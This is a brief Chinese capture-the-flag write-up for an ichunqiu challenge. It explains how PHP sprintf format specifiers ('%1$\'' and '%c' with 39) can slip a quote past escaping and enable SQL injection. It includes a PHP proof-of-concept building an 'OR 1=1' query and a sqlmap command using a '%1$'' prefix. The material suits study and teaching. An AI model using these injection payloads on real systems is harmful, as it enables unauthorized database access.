URL:http://efa4e2c2b8df4ce69454639f4e3727071652c31167f341a4.game.ichunqiu.com/
简单的说就是sprintf中%1$\'
会将\
吃掉,导致'
的逃逸。%
后表示第几个参数,$
表示参数类型。
还有一个sprintf漏洞的利用方式:%c
起到了类似chr()
的效果,将数字39转化为'
,从而导致了sql注入。
<?php $input1 = '%1$c) OR 1=1 #';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;
?>
在这题中,--prefix
加个前缀丢进sqlmap跑就好了。
虽然是post
sqlmap -r /home/1.txt -p username --prefix="%1$'"
--prefix 前缀
--suffix 后缀
其实也可以直接*